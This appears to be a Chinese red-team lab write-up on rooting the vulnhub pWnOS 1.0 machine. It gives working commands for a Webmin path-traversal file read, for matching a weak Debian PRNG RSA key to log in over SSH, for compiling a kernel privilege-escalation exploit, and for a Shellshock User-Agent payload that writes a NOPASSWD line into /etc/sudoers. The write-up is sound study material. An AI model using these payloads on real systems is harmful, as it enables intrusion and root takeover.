红队笔记11:pWnOS1.0打靶流程解法2-ssh免密登录-rsa私钥破解-shellshock提权(vulnhub)

目录

开头

 1.webmin文件泄露漏洞利用-/etc/passwd/

2.ssh免密登录-私钥伪随机数碰撞:

ssh免密登录原理:

prng伪随机数生成ssh rsa 私钥公钥密码库

openssl和openssh的关系:

 ssh登录报错-解决思路-vv

3.提权-内核提权-shellshock提权

内核提权:

shellshock提权:

 1.验证是否存在漏洞:

2.Shellshock利用

创建cgi文件:

curl 请求cgi url并在UA构造payload

4.总结:


开头

学习的视频是哔哩哔哩红队笔记:

「红队笔记」靶机精讲:pWnOS1.0 - 选择hard模式再次用完全不同的方法实现这台靶机的渗透测试。_哔哩哔哩_bilibili

打靶时参考文章和本文借鉴文章:

红队打靶:pWnOS1.0打靶思路详解之ssh私钥破解+shellshock漏洞提权-CSDN博客

靶机下载链接见:

pWnOS: 1.0 ~ VulnHub

靶场搭建和解法1,请看上一篇文章:

红队笔记11:pWnOS1.0打靶流程之webmin漏洞超级利用(vulnhub)-CSDN博客

 1.webmin文件泄露漏洞利用-/etc/passwd/

我们发现10000端口是,系统管理软件webmin,提供nmap脚本扫描发现存在文件泄露漏洞,并搜索其历史漏洞,找到文件泄露漏洞的而exp,利用exp查看到了/etc/passwd文件。

perl 2017.pl

查看exp使用方法 

perl 2017.pl 10.10.10.129 10000 /etc/passwd 0

发现有4个bash环境的用户,在解法1中,我们提供文件泄露漏洞读取成功/etc/shadow文件,并john碰撞哈希密码,获得账号密码登录ssh,获得初步权限,解法2中就不要这种方式获得了。

2.ssh免密登录-私钥伪随机数碰撞:

在管理员的登录主机的有两种选择:

1.直接输入账号密码登录;

2.ssh登录,其中ssh登录也有两种方式,

        1,也是使用账号密码登录;

        2,ssh免密登录,使用公钥私钥的形式登录;

如果用户使用过免密登录,就会在家目录下的ssh目录中生成一个文件,该文件就是存储免密的登录中的公钥文件。那么我们就可以通过文件泄露漏洞,读取该公钥文件,公钥文件存在,则说明该用户使用过免密登录。

我们以vmware用户为列:

vmwar用户使用过免密登录,这/home/vmware/.ssh/authorized_keys 文件会存在

反之不存在

利用webmin漏洞查看对应的用户的ssh文件 

perl 2017.pl 10.10.10.129 10000 /home/vmware/.ssh/authorized_keys 0

该文件存在,说明vmware用户使用过免密登录,那么这个公钥文件又要怎么利用嘞,这就要说到ssh免密登录的原理了.

ssh免密登录原理:

ssh免密登录,就是用户使用私钥和服务器上的公钥匹配,匹配成功即可登录

那么私钥和公钥又是怎么确定的,公钥私钥的说法是在非对称加密中的,而ssh就采用了rsa非对称加密算法,ras非对称加密算法是基于一个数学理论得出的,两个大质数(q,p)相乘得到的结果(r)很简单,但是通过这个结果因式分解得到这两个大质数很难,所有rsa就 r 作为公钥,q,p组合作为私钥

由名字就可以知道公钥是公开的所有我们在服务器上能找到公钥钥文件,私钥这是私人保存的,我们想要免密登录用户,就要为公钥找到对应的私钥。

通过上面的原理,可以知道我们下一步操作就是获得公钥匹配的私钥,得到私钥即可ssh免密登录。

prng伪随机数生成ssh rsa 私钥公钥密码库

按照正常的ssh rsa私钥是无法通过prng伪随机数获得公钥的,因为这台靶机特定版本号的openssl为ssh生成秘钥对时的bug,这个漏洞是生成rsa证书时prng(伪随机数生成器,注意计算机科学中的伪随机数说的是能通过随机统计检验的一组数)的代码改坏了,导致唯一的随机因子只有pid,当时linux的最大pid很小,例如这台靶机是32768,POC中提到的是65536,导致生成的证书就那么多种可能,可以被穷举出来

这不说明RSA证书不安全,也不说明2048位的RSA不安全,只说明用该环境下的ssh-keygen生成的证书不安全在这种环境下生成的证书,放到其他没有该漏洞的机器上,一样有问题

ps:查看openssl版本: dpkg -l | grep ssl , 这台机器是0.9.8e,按照POC的说法,debian系 0.9.8c-1 < 0.9.8g-9 的是有该问题的版本

searchsploit prng 

 可以看到这 openssl 在这个版本内 PRNG SHH 等关键词,

openssl和openssh的关系:

openssh是ssh协议的开源服务

openssl是ssl协议的开源服务

openssh中的加密都是依赖于openssl

searchsploit prng -m 5622.txt

将exp文件下载下来后,查看:

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

 下载后是一个压缩包解压

tar -jxvf 5622.tar.bz2

可以看到,下载的文件解压后是一大堆文件,有的文件有pub后缀,这些文件其实就是伪随机数生成的所有可能的公钥私钥对,其中pub后缀就是公钥

通过伪随机数生成器得到了,爆破字典,接下来是通过公钥比对,获取其对应的私钥

 从公钥中取一段出来,长度适中,太短可能碰撞出多个相同的文件,太长耗时太长(30 40个字符长度即可)

接下来,我们在rsa/2048中寻找包含上述字符串的文件,复制上述公钥中的前三四十个字符,用grep搜索即可:

grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOrep'

-l 是列出搜索到的文件名

-r 是递归搜索 搜索多层目录

什么都没有搜索到,就说明vmware用户的私钥没有碰撞出来公钥,尝试切换用户尝试。

perl ./2017.pl 10.10.10.129 10000 /home/obama/.ssh/authorized_keys 0   

 读取obama的公钥文件:

Obama用户也存在公钥,再次取适当长度的一段公钥(30 40长度)匹配 

grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0'

 公钥匹配成功,找到公钥文件存放的文件名,再找到对应的私钥文件即可。

ls -list dcbe2a56e8cdea6d17495f6648329ee2-4679*

ls列出来文件名为dcbe2a56e8cdea6d17495f6648329ee2-4679的文件,* 有扩展名和无扩展名都列出来

找到私钥文件,公钥私钥都有了,尝试ssh免密登录

将私钥文件拷贝,并重命名到当前目录:

cp rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566 ./mima.txt

 ssh登录报错-解决思路-vv

在尝试ssh登录时,经常会遇到因为版本不同/协议/加密方法的不同导致出现很多问题的情况,如果没有经验这条路就会走不通,一定要学会去解决这种问题 -vv看交互详细信息来分析问题所在

sudo ssh -i mima.txt obama@10.10.10.129

 -i 私钥文件

报错,告诉我们host key不匹配,对方服务器用的是ssh-rsa,ssh-dss

先输入-o查找额外的参数,然后输入Host key type的首字母H,按下tab键,有许多提示的参数,我们要设置的参数是与host key type 相关的,在这些参数中最有可能的就是HostKeyAlgorithms(主机密钥算法)

sudo ssh -i mima.txt -oHostKeyAlgorithms=ssh-rsa,ssh-dss obama@10.10.10.129

 没有报错了,但登录还是需要密码,但是我们再尝试免密登录,不需要密码啊,说明再免密登录过程中还是存在问题,-vv参数查看ssh登录时的详细信息,相当于Debug,会把每一步做了什么提示出来

 

sudo ssh -i mima.txt -oHostKeyAlgorithms=ssh-rsa,ssh-dss obama@10.10.10.129 -vv

-vv会将执行过程中的数据交互数据请求都显示出来,看看能不能找到原因

下一个身份验证方法:公钥

:将尝试密钥:mima.txt explicit

pubkey_prepare:完成

:尝试私钥:mima.txt

nd_send_pubkey:

不支持相互签名

说我们没有支持相同的签名nd_send_pubkey,没有经验上网查找或者问GPT

 还是一样的办法 -o 输入pubkey tab键

有两个相关的参数,第一个公钥接受的密钥类型,,第二个公钥认证 我们是类型不匹配,所有一个是第一个参数。

sudo ssh -i mima.txt -oHostKeyAlgorithms=ssh-rsa,ssh-dss obama@10.10.10.129 -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss

 免密登录成功,获得初始shell

3.提权-内核提权-shellshock提权

解法1中提权是通过,webmin特定版本文件泄露漏洞能执行cgi后缀的perl反弹shell文件,并且漏洞利用是以root权限读取文件。

在解法2中我们采用两种提权方式:

1.内核提权;

2.文件泄露漏洞结合shellshock提权;

内核提权:

当我们拿到初步shell,确定目标主机ip,发现linux kernel 版本2.6.22 版本过低(通过查看kali内核版本判断版本是否过低,kali内核版本是5.18) 

searchsploit linux kernel 2.6.2

 在使用searchsploit 搜索内核提权时,需要注意:

搜索的内核版本不要过细,过细会导致很多好的漏洞被过滤掉

也不能太粗。太粗会导致搜索到的漏洞太多,也要通过经验搜索较为合适的

写的太细(可能会导致好的漏洞被筛选掉):

 写的太粗(漏洞太多,并不是所有漏洞都能提权,需要根据经验分析和尝试是否能提权成功,所有太多难筛选漏洞容易浪费时间)

选择合适的的:

searchsploit linux kernel 2.6.2

可以看到还是很多漏洞,但是我们主要是内核提权,通过grep 搜索带关键词的 'Privilege Escalation' 

searchsploit linux kernel 2.6.2 | grep 'Privilege Escalation'

筛选出来了只与提权有关的漏洞,接下来就要先分析,哪些漏洞对我们没有用,(排漏洞的优先级,觉得哪些漏洞成功的可能性高,哪些可能性低,依次去尝试漏洞)分析完再尝试觉得有可能性的漏洞:

  1. 太具体的漏洞利用版本,太具体的通用性不高
  2. Linux 发行版不一致,
  3. 测试出一类漏洞中的一个不行时,就可以排除哪一类漏洞

我们筛选出来第一个可能的漏洞:

searchsploit linux kernel 2.6.2  -m 5092.c      

开启http服务

php -S 0:80

目标靶机上下载下来 

wget http://10.10.10.128:80/5092.c

 

gcc 5092.c -o 5092

gcc将.c文件编译 -o保存为5092文件 ,并赋予运行权限

 内核提权成功。

shellshock提权:

当刚拿到初步立足点的时候(我们通过unam -a看到linux内核比较久,可以尝试内核提权漏洞,也能通过bash –version 查看bash版本bash版本如果小于4.3,很有可能存在shellshock) 

bash –version

3.2.25版本 < 4.3 可能存在shellshock漏洞 

 1.验证是否存在漏洞:
env='() { :; }; echo "shellshock is here"' bash -c date

终端输出shellshock is here 则说明漏洞存在

2.Shellshock利用

这是shellshock  Attack CGI programs 利用,其原理是:

CGI(通用网关接口,Common Gateway Interface)

一个在Web服务器中使用的技术,是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。

用户将CGI URL发送到Apache Web服务器时,Apache将检查该请求
如果是CGI请求,Apache将使用fork()启动新进程,然后使用exec())函数执行CGI程序。

创建cgi文件:
echo "#!/bin/bash" >runshell.cgi

 创建好cgi文件,但是shellshock的利用,需要能够请求cgi文件的url,所以有两种方法:

1.把cgi文件直接创建在web目录中,但权限不够

2.通过webmin文件泄露漏洞访问,但是需要知道漏洞原理,因为直接使用exp利用我们无法控制请求头,无法通过shellshock执行代码

分析webmin文件泄露漏洞:

可以看到tar ==0时执行的代码 加上选择http时执行的代码 payload 是通过在unauthenticated 目录后/..%01/..%01造成文件泄露漏洞的所以我们只需要构造payload:

http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd

 ..%01/在exp中有40个,但并不是一定需要40个。

那么我们知道文件泄露漏洞原理了,我们就可以通过这个漏洞实现shellshock漏洞了

curl 请求cgi url并在UA构造payload
curl 'http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/obama/runshell.cgi'  -A '() { :; }; /bin/echo "obama ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'

其中-A参数用于添加user-agent字段,填入我们shellshock漏洞利用的payload,其中() { :; };是shellshock漏洞利用的固定部分,后面的语句相当于在靶机的权限管理文件/etc/sudoers中写入了一行语句vmware ALL=(ALL)NOPASSWD:ALL,这行语句相当于将vmware用户的权限设置为ALL,并设置无需密码(否则当执行高权限的指令时还需要vmware用户的密码)。运行如下:

 运行shellshock漏洞,发现没有权限,应该是我们cgi文件没有赋予执行权限,赋予完执行权限后,shellshock漏洞利用成功

perl ./2017.pl 10.10.10.129 10000 /etc/sudoers 0

 查看权限是否修改成功

 写入成功

 

 提权成功

4.总结:

私钥爆破的时候其实是利用了特定版本的openssl的漏洞,只有65535种可能的私钥,这才能爆破出来,一般情况是没有这个漏洞的。shellshock漏洞我个人的理解是,cgi文件是一个bash环境文件,通过每一次的http请求cgi文件,都会转换成一次shell调用,其中在http请求包中的UA头中的数据会被cgi文件接收并执行,这也是shellshock利用中的:Attack CGI programs

 在红队笔记的视频中,文件泄露利用路径(auto_wordlists github上开源的敏感文件路径  GitHub - carlospolop/Auto_Wordlists)

 打靶总结:

1.主机发现和端口扫描

2.webmin任意文件泄露漏洞利用,读取ssh相关的敏感文件/home/vmware/.ssh/authorized_keys,结合存在漏洞版本的openssh,对私钥进行碰撞爆破,找到了私钥。

3.用私钥实现免密登录vmware账号的ssh。其中涉及到ssh登录的一些参数。

4.shellshock漏洞提权:利用了存在漏洞的bash,通过curl触发shellshock.cgi文件执行,启动有问题的bash,并在user-agent头部添加shellshock漏洞利用的payload,在/etc/sudoers中添加了一行代码,使得vmware账号的权限为ALL。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/789453.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

心灵鸡汤人生感悟,简短而有深意的句子

1、你的真心很珍贵&#xff0c;别再不值得的人身上卑微 &#xff0c;爱应该是让你笑的开怀&#xff0c;而不是哭的崩溃。爱必须是温情的依赖&#xff0c;而不是冷漠的伤害。想要找你的人走遍了全世界也能找到你&#xff0c;等到了年华老去也会等着你。 2、大冬天的时候给你送吃…

MySQL安装卸载-Linux

目录 1.概述 2.安装 2.1.上传 2.2.解压 ​​​​​​​2.3.安装 ​​​​​​​2.4.启动服务 ​​​​​​​2.5.查询临时密码 ​​​​​​​2.6.修改临时密码 ​​​​​​​2.7.创建用户 ​​​​​​​2.8.分配权限 ​​​​​​​2.9.重新链接 3.卸载 3.1.停…

【LeetCode热题100】79. 单词搜索(回溯)

一.题目要求 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;其中“相邻”单元格是那些水平…

VsCode正确解决vue3+Eslint+prettier+Vetur的配置冲突

手把手教你VsCode正确解决vue3EslintprettierVetur的配置冲突 VsCode正确解决vue3EslintprettierVetur的配置冲突Eslint文档查看和修改规则&#xff1a;step1&#xff1a;首先快速浏览下规则简要setp2: ctrlF 搜索你要配置规则的英文名&#xff0c;例如attributesetp3: 修改配置…

2013年认证杯SPSSPRO杯数学建模C题(第二阶段)公路运输业对于国内生产总值的影响分析全过程文档及程序

2013年认证杯SPSSPRO杯数学建模 C题 公路运输业对于国内生产总值的影响分析 原题再现&#xff1a; 交通运输作为国民经济的载体&#xff0c;沟通生产和消费&#xff0c;在经济发展中扮演着极其重要的角色。纵观几百年来交通运输与经济发展的相互关系&#xff0c;生产水平越高…

LangSmith

文章目录 关于 LangSmith创建 API Key 基本代码使用查看控制台 关于 LangSmith 主页&#xff1a;https://www.langchain.com/langsmith文档&#xff1a;https://docs.smith.langchain.com/LangSmith Walkthrough &#xff1a; https://python.langchain.com/docs/langsmith/wa…

用于自动驾驶,无人驾驶领域的IMU六轴陀螺仪传感器:M-G370

用于自动驾驶,无人驾驶的IMU惯导模块六轴陀螺仪传感器:M-G370。自2020年&#xff0c;自动驾驶,无人驾驶已经迎来新突破&#xff0c;自动驾驶汽车作为道路交通体系的一员&#xff0c;要能做到的就是先判断周边是否有障碍物&#xff0c;自身的行驶是否会对其他交通参与成员产生危…

YOLOV5 改进:更换主干网络为Resnet

1、前言 之前实现了yolov5更换主干网络为MobileNet和vgg网络 本章将继续将yolov5代码进行更改,通过引用官方实现的resnet网络,替换原有的yolov5主干网络 替换的效果如下: 2、resnet 网络结构 测试的代码为官方的resnet34 通过summary 打印的resnet网络结构如下 =======…

京东商品信息采集API商品详情图主图价格抓取接口(测试入口如下)

京东商品信息采集API通常用于抓取京东平台上的商品信息&#xff0c;包括商品详情图、主图、价格等。这样的API通常由专业的数据服务提供商提供&#xff0c;并且需要遵循京东的开放平台政策和相关法规。 请求示例&#xff0c;API接口接入Anzexi58 关于你提到的“测试入口”&…

[蓝桥杯练习]蓝桥王国

单源最短路径问题-dj #include<bits/stdc.h> #define ll long long using namespace std; const int N3e55,M1e65; const ll INF0x7f7f7f7f7f7f7f;//7个7f没问题,INF < INFx struct edge{int to;ll w;edge(int end,ll cost){toend;wcost;} }; struct node{int id;l…

Flutter应用混淆技术原理与实践

在移动应用开发中&#xff0c;保护应用代码安全至关重要。Flutter 提供了简单易用的混淆工具&#xff0c;帮助开发者在构建 release 版本应用时有效保护代码。本文将介绍如何在 Flutter 应用中使用混淆&#xff0c;并提供了相关的操作步骤和注意事项。 &#x1f4dd; 摘要 本…

pycharm复习

目录 1.基础语法 2.判断语句 3.while循环 4.函数 5.数据容器 1.基础语法 1.字面量 2.注释&#xff1a; 单行注释# 多行注释" " " " " " 3.变量&#xff1a; 变量名 变量值 print&#xff1a;输出多个结果&#x…

JVM 记录

记录 工具 https://gceasy.io 资料 尚硅谷宋红康JVM全套教程&#xff08;详解java虚拟机&#xff09; https://www.bilibili.com/video/BV1PJ411n7xZ?p361 全套课程分为《内存与垃圾回收篇》《字节码与类的加载篇》《性能监控与调优篇》三个篇章。 上篇《内存与垃圾回收篇…

JavaScript 对象管家 Proxy

JavaScript 在 ES6 中&#xff0c;引入了一个新的对象类型 Proxy&#xff0c;它可以用来代理另一个对象&#xff0c;并可以在代理过程中拦截、覆盖和定制对象的操作。Proxy 对象封装另一个对象并充当中间人&#xff0c;其提供了一个捕捉器函数&#xff0c;可以在代理对象上拦截…

基于Zabbix 5.0 实现windows服务器上应用程序和主机端口的状态监控

基于Zabbix 5.0 实现windows服务器上应用程序和主机端口的状态监控 背景 用python开发的应用程序在服务器上运行,有时候会出现程序自动退出却收不到告警的情况 环境 zabbix服务器:Centos7 64位 Windows服务器: Windows 10 64位 软件 zabbix_server:zabbix5.0 zabbix_…

680.验证回文串II-力扣

680.验证回文串II-力扣 给你一个字符串 s&#xff0c;最多可以从中删除一个字符。 请你判断 s 是否能成为回文字符串&#xff1a;如果能&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false。 示例1&#xff1a; 输入&#xff1a;s “aba” 输出&#xff1a;true示…

如何制作一个微信小程序商城?

在这个数字化飞速发展的时代&#xff0c;微信小程序商城以其独特的便捷性和高效的用户连接能力&#xff0c;成为了电商领域的一颗新星。对于那些渴望在微信平台上开展业务的商家和企业来说&#xff0c;微信小程序商城不仅是一种新的尝试&#xff0c;更是一个充满无限可能的商机…

2024年文化传播、交流与考古学国际会议 (CCEA 2024)

2024年文化传播、交流与考古学国际会议 (CCEA 2024) 2024 International Conference on Cultural Communication, Exchange, and Archaeology 【会议简介】 2024年文化传播、交流与考古学国际会议即将在千年古都西安盛大召开。本次会议将汇聚全球文化、传播、考古等领域的专家…

每日一题(leetcode2952):添加硬币最小数量 初识贪心算法

这道题如果整体去思考&#xff0c;情况会比较复杂。因此我们考虑使用贪心算法。 1 我们可以假定一个X&#xff0c;认为[1,X-1]区间的金额都可以取到&#xff0c;不断去扩张X直到大于target。&#xff08;这里为什么要用[1,X-1]而不是[1,X],总的来说是方便&#xff0c;潜在思想…

浏览器工作原理与实践--async/await:使用同步的方式去写异步代码

在上篇文章中&#xff0c;我们介绍了怎么使用Promise来实现回调操作&#xff0c;使用Promise能很好地解决回调地狱的问题&#xff0c;但是这种方式充满了Promise的then()方法&#xff0c;如果处理流程比较复杂的话&#xff0c;那么整段代码将充斥着then&#xff0c;语义化不明显…